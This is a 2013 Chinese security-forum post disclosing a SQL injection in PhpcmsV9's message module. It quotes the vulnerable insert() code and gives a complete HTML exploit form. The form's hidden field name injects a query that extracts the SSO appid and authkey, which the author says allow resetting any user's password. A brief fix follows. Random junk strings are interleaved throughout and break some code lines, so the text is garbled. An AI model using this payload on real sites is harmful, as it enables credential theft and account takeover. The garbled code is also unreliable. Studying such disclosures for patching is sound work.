中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
1 H1 `" U, U! Z1 F
! V [8 F1 S5 ~8 ?! \$ i
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
+ x. p6 v7 `. z' h0 j
! d0 V- K* h# S6 V. A: G/ \5 B
明天再更新下一个漏洞。
8 j% V. ~- N' ^8 l, X
详细说明:
/ @8 Y# X$ I8 E) Q$ E
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
) C$ ^! J9 T' l7 @
4 |( H- E5 l ^; Z( \
$messageid = $this->message_db->insert($_POST['info'],true);
, R! u5 v4 y, z3 U4 U1 H
! e8 R' O! v/ z, y7 B
7 o8 a3 x' S$ ^' @+ E
insert方法是key value的,代码如下:
5 N/ W: [2 D; `# D) }
7 Z& b6 z. u- I( r% f& o
public function insert($data, $table, $return_insert_id = false, $replace = false) {
$ ~) V! z$ h" D/ i7 l7 h' Z
if(!is_array( $data ) || $table == '' || count($data) == 0) {
4 N' g, @' ?0 ~' W* \7 M
return false;
: I, l. Z' ?: D1 X. j# t' Q5 X
}
6 v0 ~8 ~9 ^; {9 e5 p0 J
& C5 C; A3 s, x( q2 y
$fielddata = array_keys($data);
2 k: ?7 t, p1 k, y! D
$valuedata = array_values($data);
) z/ P3 _" }1 J% a. f9 \
array_walk($fielddata, array($this, 'add_special_char'));
6 l) g5 B6 y' q6 S4 x
array_walk($valuedata, array($this, 'escape_string'));
( ~9 ?9 t! I/ v1 C
7 x4 Y E' x% A* l4 T
$field = implode (',', $fielddata);
6 o1 \0 r% E" {% \% g
$value = implode (',', $valuedata);
1 U6 q' j7 |4 b& t- o9 I7 o$ h) t3 f
4 p, e t. F7 F7 t4 Z& s
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
! d1 K1 z- y- `+ c
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
& X: `' |5 g( \& N: f
$return = $this->execute($sql);
( W4 w. g. }2 H4 X7 O
return $return_insert_id ? $this->insert_id() : $return;
2 ?4 ?# ~ E+ L) `' Z
}
! [2 n7 n7 M2 t6 G0 {# v
0 i) A) S% F; k7 F( R
7 T0 _" F* M+ [/ O2 S
嗯,很遗憾的是
5 q. w; V( p3 y! ^- y& p
9 ~ L: l! w0 `" r1 Z5 k- |, o
array_walk($fielddata, array($this, 'add_special_char'));
; y# l3 L: a0 E2 o: d$ P0 w m
7 L1 g# h/ d4 K
2 o; u6 d0 R0 s1 n( U/ V) F
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
1 ~ D8 ]8 m8 M/ F0 n
5 L A( [' z* _ ~
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
: E& u0 `& @5 l, S; {4 ^
' E6 C( z- A+ Q: [( v1 k0 V
漏洞证明:
o4 e) O N+ X; Y2 E
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
8 Z, w' l+ O( s! i+ z$ y
[attach]200[/attach]
0 q- i, F/ e' X% E; }- C u) B
& J! F* [ F' S8 M2 @
表单如下:用户名什么的得自己改一改。
8 r& \) n$ W# s& O7 M5 t3 p
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! @. Z8 C$ J3 N0 n0 b3 f2 i7 P6 p
<table width="100%" cellspacing="0" class="table_form">
$ a8 q4 f' ^. t; r
<tr>
; `- K$ a, y2 |7 V8 @% q' o U
<th>标 题:</th>
! v/ ~! c; c% D& ]2 r# c+ @: O5 J9 U% N
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
0 d, F% e3 W9 s7 B' W
</tr>
6 Y( x6 A* N! f& n4 Q6 X
<tr>
1 M1 j, M& x+ Z' V4 U( H0 W
<th>内 容:</th>
6 w' X, v$ B T7 W
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
! s; b6 m0 }! C- z: L
</tr>
$ z1 q0 t7 \9 O# m8 c" Q' P0 N7 O, ~
<input type="hidden" name="info[replyid]" value="2" />
1 S7 P& p/ u4 b
<input type="hidden" name="info[send_to_id]" value="cc" />
# }- p7 A* R: Z$ w7 I7 l' i
<input type="hidden" name="info[send_from_id]" value="hh">
$ q% u, D+ @) x* w( i6 g( [7 ^' B
<!-- 漏洞的利用重点在这里开始 -->
4 U# M1 U. K, Q `
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
: C! }9 W2 u2 f% S! Z( w! f% P
<!-- 漏洞的利用重点在这里结束 -->
2 l% h! j7 {" o; h0 O+ w) L" d
<tr>
5 J4 w5 M- O7 d7 I2 V2 }8 U
<th>验证码:</th>
/ Z, B+ \8 {$ l: k
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
; N) x! b, ~: u+ w1 i! U
</tr>
! N- N9 k1 B/ i5 t% o5 Y
<tr>
4 F3 h9 h+ G% M$ v: m
<td></td>
( s5 V' y; A: q6 g6 }0 X: d6 m4 s
<td colspan="2"><label>
" N5 ?* g0 _% s; o5 j# x
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
( q M0 H5 {4 o! ]7 d
</label></td>
2 J- |! b( U9 h! [
</tr>
8 d( n3 P! Q9 l
</table>
t* p0 `! H# h; j0 |' n
</form>
8 U, l6 S# c+ r+ G1 F h8 k
在add_special_char函数内对key做过滤就可以了。
: {/ V0 F- w' k" M) U* y3 K9 K
0 S6 u& S1 u0 V4 B# o( q
% M4 v( G3 x( \5 H4 r
. w" y$ n: e' A8 o
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2